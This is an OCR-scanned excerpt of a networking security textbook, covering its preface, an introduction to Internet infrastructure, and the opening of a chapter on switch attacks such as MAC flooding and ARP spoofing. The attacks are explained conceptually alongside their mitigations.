Angus Wong
Alan Yeung

Network
Infrastructure
Securrty

L3

@ Springer



NETWORK INFRASTRUCTURE
SECURITY



Network Infrastructure
Security

Angus Wong
Alan Yeung

@ Springer



Angus Wong Alan Yeung

Macao Polytechnic Institute City University of Hong Kong
Rua de Luis Gonzaga Gomes 83 Tat Chee Avenue
Macao Kowloon

Hong Kong, PR, China

ISBN: 978-1-4419-0165-1 e-ISBN: 978-1-4419-0166-8
DOI: 10.1007/978-1-4419-0166-8

Library of Congress Control Number: 2009921186

© Springer Science+Business Media, LLC 2009

All rights reserved. This work may not be translated or copied in whole or in part without the written
permission of the publisher (Springer Science+Business Media, LLC, 233 Spring Street, New York, NY
10013, USA), except for brief excerpts in connection with reviews or scholarly analysis. Use in
connection with any form of information storage and retrieval, electronic adaptation, computer software,
or by similar or dissimilar methodology now known or hereafter developed is forbidden.

The use in this publication of trade names, trademarks, service marks, and similar terms, even if they are
not identified as such, is not to be taken as an expression of opinion as to whether or not they are subject
to proprietary rights’

Printed on acid-free paper

springer.com



About the authors

Angus Kin-Yeung Wong obtained his BSc and PhD degrees from City University
of Hong Kong, and is currently an associate professor at Macao Polytechnic Insti-
tute. Angus is active in research activities, and has served as a reviewer and a
technical program committee member in various journals and conferences. Angus
is devoted to teaching in tertiary education. In the past, he has taught 11 different
courses, ranging from the first year to forth years, and developed five new net-
work related courses to keep students abreast of cutting-edge network technolo-
gies.

Alan Kai-Hau Yeung obtained his BSc and PhD degrees from The Chinese
University of Hong Kong in 1984 and 1995 respectively. He is currently an asso-
ciate professor at City University of Hong Kong. Since his BSc graduation, he has
spent more than 20 years in teaching, managing, designing and research on dif-
ferent areas of computer networks. In the early days of LANs in 1980s, he had the
chance to involve in the design and set up of numerous networks. One of them
was the largest LAN in Hong Kong at that time. He also frequently provides con-
sultancy services to the networking industry. One notable project was the devel-
opment of a GSM mobile handset in late 1990s. The team that Alan had involved
successfully developed a handset prototype for a listed company in Hong Kong.
Alan’s extensive experience has helped him to earn professional qualifications like
Cisco Certified Network Professional (CCNP), Cisco Certified Academy Instruc-
tor (CCAI), and Certified Ethical Hacker (CEH).

Angus and Alan have been collaborating in doing network related research
for over 10 years. They have successfully obtained grants from universities and
governments, and published tens of technical papers. Besides research, they are
fond of teaching and sharing with students. Commonly, they were awarded for

their teaching contributions. Angus Wong obtained the Macao Polytechnic Insti-



tute’s Best Teacher Awards in 2005-2006, whereas Alan Yeung obtained the City
University of Hong Kong’s Teaching Excellence Awards in 2000-2001. Another
common point of Angus and Alan is that they are both responsible for the estab-
lishment and maintenance of Cisco switches and routers learning environment in
their own universities. Students’ learning has proven to be enhanced significantly

through their hand-on experience on networking devices.



Preface

Unlike network information security which is concerned with data confidentiality
and integrity by using techniques like cryptography, network infrastructure secu-
rity is concerned with the protection of the network infrastructure itself, that is, to
focus on how to detect and prevent routers or other network devices from being
attacked or compromised.

Although information assurance is important, it becomes meaningless if the
data, no matter how secure its content is, cannot be delivered through the Internet
infrastructure to the targeted destination correctly.

Since the Internet, in the beginning, was assumed to work in a trustworthy
environment, it was designed without much concern for security. As a result, the
infrastructure is vulnerable to a variety of security threats and attacks, such as
packet spoofing, routing table poisoning and routing loops.

One of the reasons why network infrastructure security is important and has
drawn much concern in recent years is that attacks to the infrastructure will affect
a large portion of the Internet and create a large amount of service disruption.
Since our daily operations highly depend on the availability and reliability of the
Internet, the security of its infrastructure has become a high priority issue. We be-
lieve that the topic will draw much concern, and various countermeasure or solu-

tions will be proposed to secure the infrastructure in the coming years.



Goal of writing

This book aims to promote network infrastructure security by describing the vul-
nerabilities of some network infrastructure devices, particularly switches and
routers, through various examples of network attack.

The examples will be well illustrated in detail so that the operations and
principles behind them are clearly revealed. To avoid serving as a hacking guide,
the attack steps are described from the conceptual view. That is, we will write
something like "If an attacker injects a packet with a fake source address, the
server will believe the attacker is the right client...”

Though some topics in this book have been covered in other books, the pri-
mary focus of them is information security or the ways of configuring the network
devices. In writing this book, we attempt to emphasize on the network infrastruc-
ture security and draw the attention about it in the field.

On the other hand, the network vulnerabilities and attacks mentioned in this
book are mainly based on protocol exploitation, not on software bugs or computer
viruses that are usually dependent on the particular platform, brand of router, op-

erating system, version, etc.



Not goal of writing

The purpose of this book is not to report new security flaws of network infra-
structure devices. Most of the attacks discussed in this book have been already
identified in the field, and the corresponding countermeasures have been pro-
posed. If administrators are aware of the countermeasures, the attacks can be pre-

vented.

Security has a large scope, and so has network infrastructure security. This book
does not attempt to provide an exhaustive list of attack methods of network infra-
structure and their countermeasures. Actually, it is difficult, if not impossible to
write a single book covering the vulnerabilities of all kinds of network protocols
on network devices with different brands model running different versions of

OSes.

On the other hand, to make the book concise, it does not thoroughly explain
TCP/IP or network protocols; nor does the book teach the full operations of
switches or routers. Nonetheless, the basic idea of them will be covered to facili-

tate the discussion of the topics.

Assumptions

The readers are assumed to have basic understanding on computer networks and
TCP/IP, and would like to learn more about the security of the major part of a
computer network — the network infrastructure. On the other hand, since IP is the
most common protocol in the network layer, this book only covers IP routers (i.e.,
routing based on IP). Similarly, since Ethernet is the most popular media access

protocol, the switches mentioned in this book refer to Ethernet switches.



Audience
The book can be used as a text for undergraduate courses at senior levels, or for
postgraduate courses. It can also be used for engineer/practitioners for advancing
their knowledge on network infrastructure security.

In general, network infrastructure security is an area of great interest to IP
service providers, network operators, IP equipment vendors, software developers,
and university instruction at the both graduate and undergraduate levels. Specifi-

cally,

e The people in the information security field can benefit being acquainted with
another aspect of security — network infrastructure security.

e The people already in the field of network infrastructure security can benefit
from having a resource exclusively for the topic.

e The people in the network field can benefit from acquiring more information
about the security of the devices (switches and routers) they are dealing with
everyday.

e The teachers in Universities can benefit from having the syllabuses of network

related courses enriched with the topics of network infrastructure security.

Since this book does not focus on a particular platform or brand of network de-
vices but the general principle of network infrastructure security, it is suitable for a

wide range of readership.



Chapter design

The organization of this book is straightforward -- from lower to higher layer, and
from basic concept of network infrastructure security to the research solution to
future network device design. Therefore, this book is recommended to be read
from chapter to chapter.

Firstly, we explain what is network infrastructure security in Chapter 1.
Then, we discuss the vulnerabilities of network infrastructure devices starting
from data link, network, to application layers in Chapters 2, 3 to 4 respectively. It
is followed by Chapter 5 in which the proof-of-concept demonstrations (by prac-
tical step by step procedure) of the vulnerabilities are provided. Finally, to funda-
mentally protect the network infrastructure, a new approach in designing network
devices is proposed in Chapter 6. The following gives the general description of

each chapter.
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1. Introduction to Network Infrastructure Security

This chapter aims to provide an overview on network infrastructure security. It
first reviews the key components of network infrastructure, and then points out the
differences between information security and infrastructure security. Examples of
network infrastructure attacks are also shown. This chapter lays the foundation for

understanding the rest of the book.

1.1 Internet infrastructure

Internet

In 1969, the Internet started with four interconnected computers in U.S. and was
known as ARPAnet, a project funded by the Advanced Research Projects Agency
of the U.S. Department of Defense. Today, it is made up of hundreds of millions
of hosts and hundreds of thousands of networks all over the world, carrying vari-
ous kinds of information and services, such as electronic mail, World Wide Web,

and file transfer.

ISP

If you want to access to the Internet or get the Internet services, your computer
must be part of an Internet Service Provider (ISP) network. ISPs are the compa-
nies that provide access to the Internet. Residential users may use a modem and a
dial-up line to connect to an ISP. Commercial companies or educational institutes

also require ISPs to provide connections from their LANSs to the Internet.

POP
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2 Network Infrastructure Security

Most large communications companies have many Point of Presences (POPs) in
various regions, and the POPs are interconnected via high-speed links. A POP is a
service provider's location for connecting users. For example, suppose ISP-A is a
large ISP that has a POP in each state of USA, and owns its dedicated fiber-optic
backbones connecting the POPs. In this way, the customers in the same state
should connect to the same POP in that state, and all of ISP-A’s customers in USA
can talk to each other even though they are located at different states. However, at

the current stage, they cannot talk to the customers of another ISP.

NAP

To achieve the intercommunication between two ISP’s customers, both of the ISPs
have to agree to connect to a common Network Access Point (NAP) simultane-
ously, which is also known as Internet Exchange Point (IXP). A NAP is a location
where ISPs can connect with one another and exchange traffic among them. NAPs
are usually operated by Internet backbone providers. Currently, there are dozens
of large ISPs interconnected at NAPs all over the world. In this way, every com-
puter on the Internet can talk to every other.

NAPs are critical components of the global Internet infrastructure, as the
connectivity they provide determines how data traffic is actually routed. For ex-
ample, there are a number of ISPs in Hong Kong. Since the Internet is still pretty
US-centric, each of the ISPs has its own links to US. However, in the early days of
Hong Kong, there is no NAP. Therefore, the traffic between two computers con-
necting to two different ISPs in Hong Kong has to flow through the NAPs in US.
It takes significant amount of precious International link bandwidth. In 1995,
Hong Kong set up its own NAP called HKIX connecting the local ISPs together. It
allows the exchange of intra-HongKong traffic locally and provides faster and less
expensive paths to local sites. There are plenty of significant NAPs in the world.

Some of them are:
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e USA - MAE-West California, MAE-East Wash. DC, Chicago NAP,
New York NAP, Nap of the Americas

e UK -MaNAP, LINX, LoNAP, ScotIX...

e Japan - JPIX, Media Exchange (TTNet), NSPIXP

e China- TerreNAP, SHIX (ShangHai IX)

e Singapore - SingTel IX

e Hong Kong — HKIX, ReachIX, Pilhana

LAN

A local area network (LAN) is a computer network for communication between
end computers in a local area such as a company or an institute. By using wide
area network (WAN) links, LANSs can be connected (e.g., LANs in the POP of an
ISP) to form a larger network (e.g. an ISP network) on the Internet.

Network of networks

As can be seen, the Internet infrastructure is essentially a global collection of net-
works. End computers are connected to a LAN, and LANs are connected to an ISP
(a kind of network). Access-level ISPs are usually interconnected through national
and international ISPs that are interconnected at the NAPs (another kind of net-

work) operated by Internet backbone providers. See Fig. 1.1.
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Fig. 1.1. The Internet is essentially a global collection of networks.

1.2 Key components in the Internet infrastructure

Each ISP and NAP is essentially a network of routers and communications links.
Since the Internet infrastructure is made up of ISPs and NAPs, it can be said that
the Internet Infrastructure is made up of links and routers, see Fig. 1.2. However,
to implement the host-to-host communication on the Internet, in addition to these
physical components, it also requires an addressing scheme and a naming system.
That is, the hosts on the Internet conform to certain naming and address conven-

tions.

Links

The links on the Internet are made up of different types of physical media, ranging
from copper wire, coaxial cable, to optical fiber and radio spectrum. Different
types of media transmit data at different rates, and the rates are typically measure

in bits per second (bps).
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The final leg of delivering connectivity from an ISP to a customer (can be a

residential user or a company’s LAN) is called last mile. It is about 2-3 miles or

include:

Integrated Service Digital Network (ISDN)

Digital Subscriber Line (DSL), e.g., ADSL, HDSL, and VDSL
Cable and the cable modem

Leased lines, e.g., T1, T3

Wireless, e.g., 802.11, 802.20, WIMAX

As the Internet backbones are the points of most Internet congestion, they are

typically made up of fiber optic trunk lines that transmit data at extremely high

rates. The trunk line uses multiple fiber optics in parallel to increase the link

speed. Optical Carrier (OC) levels are used to specify the speed of fiber optic
networks. For example, OC-1 = 51.85 Mbps and OC-3 = 155.52 Mbps.

Fig. 1.2. The Internet is essentially a network of routers and communications links.
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Routers
Networks on the Internet are not usually directly connected. Instead, they are in-
directly connected through many intermediate network devices known as routers.
A router is a special-purpose dedicated computer that attaches to two or more
links (networks). When it receives a packet from one of its incoming links, it
makes a routing decision, and then forwards that packet to one of its outgoing
links. The decision is usually made based on the current state of the networks the
router is connected to. No matter how many networks a router is connected to, its
basic operation remains the same.

To make the selection of the next hop efficient, each router uses a routing ta-
ble to keep track of routes to a particular network destination. A simple routing ta-

ble looks like this:

Destination | Outgoing link

Network 1 Serial line 1

Network 2 Serial line 2

Network N | Serial line 1

For example, if the router with the above routing table receives a packet destined
for Network 2, it will forward that packet to its attached serial line number 2.
Routing tables are built according to the routing algorithm that the routers in the
network use. We will discuss more on routing algorithms in Chapter 3.

router forwards it to one of its nearby routers,
which in turn forwards that packet to one of its nearby routers. After a series of

links and routers, the destination can be reached.
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End computers are not usually directly connected to routers. To form a local area
network, switches are commonly used to interconnect end computers. Switches
operate at the data link layer (of the Open Systems Interconnection (OSI) refer-
ence model), and split up networks into smaller individual collision domains.
When a switch receives a frame, it first reads the destination data-link address
from the header information in the frame, then establishes a temporary circuit be-
tween the source and destination switch ports, and finally sends that frame on its

way.

Addressing

On the Internet, every participating machine is identified by an Internet Protocol
(IP) address, which is a unique 32-bit binary number. To make it easier to re-
member, IP addresses are normally expressed as a string of four decimal octets
separated by periods, ranging from 0.0.0.0 to 255.255.255.255, with some re-
served values for specific purposes. Therefore, the IP address of like 00001011
00010110 00100001 00101100 can be written as 11.22.33.44.

Internet addresses are not only used to identify a host but also to specify
routing information on the Internet. Data packets traverse the Internet by follow-
ing a path from their source through a number of routers to the final destination.
The data packets are called IP packets or datagrams, which is the basic unit of
transmission across the Internet and contains both source and destination IP ad-
dress. Upon receiving a datagram, based on the destination address, a router de-
termines a next hop to which the datagram should be sent.

Since IP addresses exhibit a hierarchical structure, they can be used to make
routing decisions. Each 32-bit IP address is divided into two parts: network ID and
host ID. The addresses of the hosts in the same network should have the same
network ID but different host ID. IP defines three classes of networks: classes A,

B and C. Their network IDs are 8, 16 and 24 bits long respectively. In classful IP
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addressing, the network portion can take only these three predefined number of
bits. A better practice is to use classless addressing. In classless addressing, any
number of bits can be assigned to the network ID. To determine the length of the
network ID, the use of subnet mask is needed. The subnet mask is a kind of bit
mask containing a number of ones starting from the left hand side, which can be
expressed by the slash form or the decimal-octets-periods form. For example, if
the network ID is 24 bits long, the subnet mask can be expressed by “/24” or
255.255.255.0”. By performing a bit-wise AND on the IP address and the subnet
mask, the corresponding network ID can be obtained.

Since each network on the Internet has a unique network ID, routers can use
the network ID as a basis for making routing decisions. Upon receiving a packet, a
router first identifies the network ID that the packet targeted on. After that, it

checks its routing table to see where to forward that packet.

(version 6, or IPv6) will expand the IP address to 128 bits long, providing the
theoretical address space of
340,282,366,920,938,463,463,374,607,431,768,211,456, which would surely
solve the IP address shortage problem. However, due to the difficulty of deploying
IPv6, the majority of today’s routers are routing IPv4 packets. The specification of

IPv6 can be seen in RFC 2460 [1].

Naming System
As IP addresses are in numeric form, they are difficult for human to remember or
mention. Therefore, in addition to an IP address, we can also assign a symbolic
name to a machine on the Internet. The symbolic name consists of a series of al-
pha-numeric text separated by periods. For example, the machine with IP address
11.22.33.44 can be assigned the name www.mysite.com.

However, although users prefer to the more mnemonic symbolic names, the

underlay network protocols and routers operate based on IP addresses which is
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fixed-length and hierarchically structured. Thus, application software (e.g., Web
browser and email client) in the sending machine, which allows users to enter the
symbolic name, is responsible for translating the name into an equivalent IP ad-
dress of the destination, and assigning the IP address in binary form in IP packets.

The translation process requires a directory service that maps symbolic
names to IP addresses. It is the main task of the Internet’s Domain Name System
(DNS). The DNS is a distributed database implemented with many servers located
all over the world. The servers are called name servers or DNS servers, each of
them only maintains part of the database and none of them has a complete copy.
More specifically, a name server only holds the name-to-address mappings of the
machines under its management.

When a name server receives a query for a symbolic name that is out of its
database, the name server is responsible to ask the corresponding name server that
maintains that symbolic name. In this way, the DNS allows decentralize admini-
stration. The decentralization of administration would make the task of keeping
mappings up-to-date much easier, and more importantly, make the DNS scale
well. In summary, DNS provides the infrastructure for translating domain names
into their equivalent IP addresses for application software on the Internet.

Naming system is a critical operational part of the Internet infrastructure,
without it, the Internet would shut down very quickly. In spite of its importance,
DNS provides no security mechanisms. DNSSEC (short for DNS Security Exten-
sions) adds a set of security extensions to DNS to provide authenticity and integ-

rity. The extensions are mostly based on the use of cryptographic digital signature.

1.3 Internet infrastructure security

Internet infrastructure security focuses on the protection of the key infrastructure
components, such as links, routers, DNS servers, and naming systems. Since the

Internet was assumed to work in a trustworthy environment in the beginning, it
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was designed without the concern of security. As a result, the infrastructure is
vulnerable to a variety of security threats and attacks (see Table 1.1), leading to
various kinds of network problems (see Table 1.2).

Fig. 1.3 shows an example to illustrate the problem caused by a packet mis-
treatment attack. In the example, all links have a unit cost (e.g., in terms of band-
width) except the link connecting routers R1 and R3 together. When packets
sourced from R1 and targeted on R4, the shortest path in terms of cost should be
R1-R2-R3-R4. This is the expected path in normal packet forwarding. However, if
R3 is compromised to mis-handle the packets by forwarding them back to R1 ma-
liciously (not to R4), a routing loop occurs. In this case, the packets will circulate
among R1, R2 and R3 until their time-to-live period expires. This loop denies the
packets from reaching their destination, R4. Besides, it also causes extra router
load and network traffic. The problem becomes even more intractable if the mali-
cious router only misroutes packets selectively (e.g., only for selected networks or
hosts at random time intervals), or if there is a larger number of routers involved

in the routing loop.

Table 1.1. Typical security threats.

Threat Description

Interruption To stop packets from reaching authorized destinations

Interception To get unauthorized access to the packet content

Modification To alter the packet content

Fabrication To construct packets that look like originating from authorized us-
ers

Replication To replay packets

Routing table poison- To purposely send bogus information to poison a router’s routing

ing table.

Packet mistreatment  To alter the normal behavior of traffic
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Address Spoofing

To illegally forge an address so as to hide the attacker’s identity.

Server compromising To intrude a server to modify its configuration.

Table 1.2. Network problems.

Problem

Description

Sub-optimal routes

Routing loops

Congestion

Network partition

Blackhole

Denial of Service

Traffic subversion

Packets will go through a path that is less optimal, instead of going
through the most favorable or desirable path, leading to a longer

latency, and unnecessary network traffic.

The path to convey packets forms a loop, preventing the packets

from reaching their destinations.

Packets are maliciously forwarded to particular links or networks,
making the offered loads of them exceed their capacity, resulting

in high latency and even packets drop.

A single network will be artificially separated into two or more
partitions, making hosts belonging to one partition cannot commu-

nicate with host belonging to the other partitions.
An area of the network where packets enter but do not come out.

Because of the abnormal huge amount of traffic, routers are over-
loaded, and unable to serve the legitimate requests.
The traffic is redirected to pass through a certain link so that the

attacker could eavesdrop or modify the data, though the traffic will

be still forwarded to the correct destination.
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@ Cost=1 @ Cost=1

R4

Fig. 1.3. Illustration of triangle routing.

1.3.1 Network Information and Network Infrastructure Securities

In the past decades, research on Internet security mainly focuses on information
assurance, which is based on the principle of confidentiality and integrity. Confi-
dentiality means the property that data is accessible to only legitimate receivers
and has not been disclosed to unauthorized persons, whereas integrity means the
property that data received is sent from legitimate senders and has not been altered
in an unauthorized manner. The techniques commonly used to achieve these goals
are based on encryption/decryption, digital signatures, and message authentication
code.

However, although information assurance is important, it becomes mean-
ingless if the data, no matter how secure its content is, cannot be delivered through
the Internet infrastructure to the targeted destination correctly. On the other hand,
if the infrastructure is attacked, a large area (or even the entire) of the Internet will
be affected, causing economical damages. Therefore, in recent years, much con-
cern has been drawn on how to securing the Internet infrastructure.

Unlike network information security that focuses on the information protec-
tion, infrastructure security focuses on the protection of the network infrastructure

itself, that is, to focus on how to detect network attacks and how to prevent routers
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or other network devices from being compromised. The approach to infrastructure
security include the use of secure Internet protocols, traffic monitoring, and fire-

walls.

1.3.2 Importance of Network Infrastructure Security

One of the reasons of why network infrastructure security is important and has
drawn much research interest in recent years is that attacks to the infrastructure
would affect a large portion of the Internet and create a large amount of service
disruption. Since our daily operations highly depend on the availability and reli-
ability of the Internet, the security of its infrastructure has become a high priority
issue.

Fig. 1.4 demonstrates a scenario in which the enormous destruction is
caused by attacks on the Internet infrastructure (an similar scenario can be seen in
[2]). In the scenario, the links have the unity cost, and all are fairly heavily loaded
but under capacity. The attacker compromises router A and sets the cost of link B
to a very higher value. Since Internet traffic is routed along the path with the least
cost, packets will be routed around link B (because of its high cost). As a result,
packets will be routed through router C. It makes router C receive much more
packets than it can handle. Since router C is the border router of domain Z, its
overloaded condition causes enormous congestion at domain Z. Hence, the ser-
vices to clients of domain Z (also W, X, and Y) will be noticeably slow down.

Another reason to secure the network infrastructure is the growing fear of
cyber terrorism. As can be seen the example shown in Fig. 1.4, simply increasing
the routing cost of a link (accidentally or maliciously) can affect a large portion of
the network. Therefore, if terrorists would manage to attack the core network of a
country, it would imply that they had already attacked the country’s economy and
caused ruinous financial damage because today’s business operations highly rely

on the availability of the cyber network.
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Fig. 1.4. The attacker increases the cost of link B so that traffic from domains W, X and Y to

domain K takes the suboptimal path, causing denial of service.

1.3.3 Difficulties of Securing the Infrastructure

Internet infrastructure is vulnerable

Many network devices and protocols were designed without security concerns in
mind at the beginning. Unfortunately those protocols now form part of the Internet
infrastructure, making it vulnerable to various kinds of attacks. It happens because
the protocols were designed with the assumption that the Internet is a completely

trustworthy environment.

Solutions usually require a larger scale of modification
As mentioned above, as the design of network infrastructure is fundamentally in-
secure, new security solutions usually require certain level of modification of ex-

isting network devices such as firmware updates or even device replacement.
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Thus, costs and efforts spending on the large-scale deployment can be very high,
which make some service providers stand at the conservation side on new infra-

structure security solutions.

Security and performance tradeoff

Security usually requires extra processes to run or more CPU cycles to execute the
security process. It certainly reduces the performance of current devices. For ex-
ample, routers can activate access control list (ACL) to perform packet access
control. However, the activation of it could reduce their routing performance such
as lower packet throughput. Therefore, ACL is not recommended to be used in the

routers of core networks.

Security is only as strong as the weakest link

Since the Internet is heterogeneous and made up of various kinds of networks, the
overall security level will highly depend on the weakest link or computer on the
networks. Though there are advanced security technologies, if any one of the
nodes in the network does not (or fails to) employ them, the security of the net-
work is not guaranteed. Besides, though some nodes employ self-defense tech-
nologies, which make them less vulnerable, they may still believe some malicious
messages (as they look legitimate) from the compromised node. On the other
hand, there is no central authority or organization to ensure the security level of
each network on the Internet. Therefore, it is hard to produce “quality of security”

on the Internet.

Attacks can be easily launched and difficult to be traced

Because of the inherent openness of the Internet, anyone with a computer and a
Internet connection can reach any point on the Internet, making it possible to
launch attack from anywhere in the world. Compounding the problem, a general

computer can easily pretend itself as a switch or router (by running a special soft-
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ware package), and broadcast malicious information to mislead the real network

devices to perform abnormally.
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2. Network Infrastructure Security -- Switching

This chapter focuses on the network infrastructure security at data link layer, with
particular concern on switch security. The goals are not simply to list out the
available attacks, but also to clearly explain how these attacks operate and the
working principles behind them by the effective use of illustrations. The protocols
being exploited in this chapter include Address Resolution Protocol (ARP), Span-
ning Tree Protocol (STP), and Virtual Local Area Network (VLAN) protocols.

2.1 Introduction

2.1.1 Overview on Layer 2 Functionality

The layer 2 of the seven-layer OSI model is data link layer which is on top of the
physical layer (layer 1). Since the physical layer is only concerned with transmis-
sion of a raw bit stream over physical medium, the data link layer attempts to pro-
vide reliable data transfer across the physical link. The services provided by the
link layer include flow control, acknowledgment, error recovery, and maintenance

(activation and deactivation) of the link. Data link technologies include:

e ATM

e Ethernet

e Fiber Distributed Data Interface (FDDI)
e High-Level Data Link Control (HDLC)

e Multi Protocol Label Switching (MPLS)
e Point-to-Point Protocol (PPP)

Token ring
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Data link layer is generally independent of Network layer (layer 3) and
deals layer 2 addresses only. Therefore, a layer 2 network can transfer traffic using
different kinds of layer 3 protocols such as IPX and IP.

There are two types of link-layer channels: broadcast and point-to-point.
When two network nodes are connected with a point-to-point link (e.g., a serial
link between two routers, a telephone line between a residential dial-up modem
and an ISP router), a data link layer protocol is also needed to coordinate the traf-
fic within the link. Examples of data link protocols for point-to-point connections
are PPP and HDLC. This coordination is simpler than that with broadcast channel.

With a data link layer using broadcast channel, hosts are connecting the
same communication channel. Thus, a Media Access Control (MAC) protocol is
needed to coordinate transmissions to determine who is allowed to access to the
media at any one time. Ethernet is the typical example in this case. And Ethernet
switch is the most commonly used layer 2 device in today’s local area networks.

The operation of Ethernet switch will be discussed in Sect. 2.2.

2.1.2 Why Switch Security is Important

The OSI and other models commonly use layered approach. In a layered model,
the functions of a communication protocol are divided into a series of layers. Each
layer performs a subset of the functions. Each layer provides services to its next
upper layer and requires services from its next lower layer, whereas the operation
of one layer is independent of the other layers. The advantage of layer independ-
ence is that it enables interoperability and interconnectivity. However, such kind
of independence also causes security challenges because if any layer is compro-
mised or attacked, other layers will not be aware of this.

Since the data link layer is at the bottom of a layered protocol model, its
upper layers (namely, the network, transport, and applications layers) rely on it to
provide the reliable data transfer across the physical link. If it is compromised, the

entire communication session will hence be compromised.
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In WAN environments, the links are more secure, though they are still sub-
ject to attacks, because the links are usually private or operated by trusted tele-
phone companies. Besides, the physical access control to layer 2 devices and
communication links are maintained in a more secure way by guards and security
room.

In LAN environments, however, it is less secure. The major reason is that
the layer 2 devices such as Ethernet switches are directly accessible to end com-
puters. With many hacking tools right available, an end computer can generate
malicious advertisements or control messages to compromise the layer 2 devices
in the network. For example, a Linux machine with the BRIDGE-UTILS package
installed can generate Bridge Protocol Data Units (BPDU) frames, which are used
to communicate among switches. Since the machine “speaks” the “switch lan-
guage”, its directly connected switch will believe that it is a switch. As a result, by
fitting the right BPDU content, the Linux machine can easily disrupt the structure
of existing switched network. This attack will be discussed in details in Sect.
2.23.

Since Ethernet switch is the most commonly used layer 2 device in today’s
LAN:S, its security is crucial. Unfortunately, the security of switches is commonly
overlooked. Since network administrators usually believe the layer 2 networks are
trusted, it is uncommon for them to monitor or examine the operation of layer 2
infrastructures unless there is any connectivity problem. For the same belief, secu-
rities measures usually focus on layer 3 and above. For example, intrusion detec-
tion systems typically examine the layers 3 and 4 packets, in particular, TCP/IP
packets, to detect any suspicious activities.

Switch attacks are difficult to discover. One of the reasons is that detecting
such attacks requires good knowledge of data link protocols operations. For ex-
ample, to exploit the spanning tree protocol (STP), one has to first understand the
roles of a switch port (can be a root, designated, or blocked ports) and their possi-
ble states (such as forwarding, listening and learning) in a STP network. The op-

eration of STP will be detailed later.
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2.2 How Switches can be Attacked

There are various kinds of switch attack. Many attacks can be initiated from out-
side of a switch, making it easy to launch for those with the LAN access. On the
other hand, although taking full control on a switch is difficult, if an attacker
manages to do it, the network structure can be instantly changed. For example, the
attacker could change some configuration values in the compromised switch to
disrupt the current switching structure. Even worse, the attacker could change the
manufacturer’s switch operating system with its own modified version. In this
case, the switch no longer functions as if it is produced by the manufacturer but
functions as what the attacker wants, such as constantly returning important net-

work information to the attacker’s machine.

2.2.1 MAC Flooding

Unlike hubs that operate under a broadcast model, switches operate under a virtual
circuit model. That is, a switch is capable of determining the destination MAC ad-
dress in a frame and selectively forwarding the frame to the correct outgoing
switch port. In this case, one cannot capture, using a sniffer program, the network
traffic between two other hosts. MAC flooding attacks are to make a switch revert

to broadcast mode, acting like a hub, so that sniffing can be performed easily.

Content Addressable Memory Table

To determine which frames go to which ports, switches use a Content Addressable
Memory (CAM) table to store the switching information. The table is built by ex-
tracting the source MAC address from the frame transmitted on each port. For
example, when the switch in Fig. 2.1 receives a frame targeted on Host-B with
MAC address MAC-B from Host-A with MAC address MAC-A, it will record in
CAM that the source MAC address is from port 1 (see Fig. 2.1a). At this point,

because the CAM table does not contain an entry for MAC-B, the switch will
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broadcast this frame to all outgoing ports. When Host-B receives the frame and
replies to Host-A, the switch learns that the MAC-B is from port 2 (see Fig. 2.1b).
Once the mapping is learned and recorded in the CAM, all future frames destined
for MAC-B will be forwarded to the outgoing port 2 only, not other ports. As
switches only forward traffic to the destination port, the hosts other than Host-A

and Host-B cannot see the traffic between them.

MAC addr
MAC-A

MAC addr
MAC-A
MAC-B

Fig. 2.1. CAM table is built up by extracting the source MAC address on frames.
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MAC Flooding Attacks

As can be seen, when there is a frame with a source MAC address that the switch
has never seen, a new entry for that new address will be added in the CAM table.
However, the size of the table is limited. When the table is overflowed, the switch
will not rely on it and broadcast all the frames to all outgoing ports, like a hub
does.

The MAC flooding attack is to make a switch act like a hub by making the
CAM table overflow. To do that, the attacker just needs to generate (flood) frames
with different bogus source MAC addresses. Until a sufficient number of frames
have been generated, the CAM table becomes overflow, and the attacker can then
see traffic it wouldn’t ordinarily see. It is illustrated in Fig. 2.2 where Host-X is
the attacker.

Unfortunately, there exists tools such as macof and dsniff (will be discus in
Chapter 5) that can generate 155,000 MAC entries on a switch per minute, making
this attacking process even more trivial, even with big CAM tables and high-end

switches.

Mitigation

The common way to mitigate the MAC flooding attack is to limit the number of
MAC addresses that can be connected to a switch port. This feature is called port
security, which is found on high-end switches. It allows the administrator to spec-
ify the number of MAC address that can be connected to a switch port, or to spec-
ify which MAC addresses can access to a particular port. In the event of a security
violation, the corresponding port would be shut down, disabled for a certain pe-

riod, or perform other actions configured by the administrator.
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®

MAC addr

MAC-1
MAC-2

Fig. 2.2. Tllustration of MAC flooding attack.

2.2.2 ARP Spoofing

By exploiting the interaction of Address Resolution Protocol (ARP), an attacker is
able to poison ones ARP cache with a forged IP-MAC mapping, and hence cause
traffic to be redirected from the correct target to a target of the attacker’s choice.
This process is called ARP spoofing. After performing ARP spoofing, one can

launch various attacks such as Man-in-the-middle, DoS, and Broadcasting.
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What is ARP
On an Ethernet/IP network, when a host wants to send an IP packet to another
host, only knowing the destination IP is not enough. It also needs to know the
MAC address of the destination host so that Ethernet frames can be built and
transferred in the network. Therefore, a process is required to find the MAC ad-
dress of a host given its IP. The Address Resolution Protocol (ARP) is used for
this purpose.

Fig. 2.3 shows an example of ARP operation in which the ARP packet con-
tent is also shown. In the example, Host-A wants to communicate with Host-B, the

corresponding ARP operations are as follows:

1. Host-A sends out an ARP Request packet in broadcast asking, “If you have
IP-B, please send your MAC to me.”

2. Only the machine with the specified IP address, IP-B, will send back an ARP
Reply packet in unicast directly to Host-A, saying that “I am Host-B, and my
MAC is MAC-B.”

At this point, Host-A is able to build an Ethernet frame with to Host-B by filling
the destination MAC address field with MAC-B.

To reduce the number of ARP requests, operating systems normally cache
resolved addresses for a short period of time. Before making an ARP request, a
host will check the ARP cache to see if the required [P-MAC mapping exists. If
the mapping exists, it will get the corresponding MAC address from the cache
without the need to make a new ARP request. Windows provides the arp com-
mand to view, add, or delete entries in the ARP cache. Fig. 2.4 shows an example
of the arp output where we can see that the ARP cache contains four IP-MAC
mappings.

Note that whenever a host receives an ARP reply, it will update its ARP
cache with the newly received IP-MAC mapping. It can be exploited by attackers

to poison one’s ARP cache.



2. Network Infrastructure Security -- Switching

Ethernet
Destination: FF:FF:FF:FF:FF:FF
Source: MAC-A
Type: ARP

BRP
Cpcode Request
Sender MAC MAC-A
Sender IF IP-A
Target MAC 0:0:0:0:0:0
Target IP IP-B

0 o~

X
&

st-A Host-B Host-C D
IP-A IP-B IP-C IP-D
MAC-R MAC-B MAC-C MAC-D
a. The ARP Request packet broadcasted by Host-A.
Ethernet
Destination: MAC-A
Source: MAC-B
Type: ARP
BRF
Cpcode Reply
Sender MAC MAC-B
Sender IF IP-B
Target MAC MAC-A
Target IP I1P-A
U
Host-A Host-B Host-C ost-D
IP-A IP-B IP-C IP-D
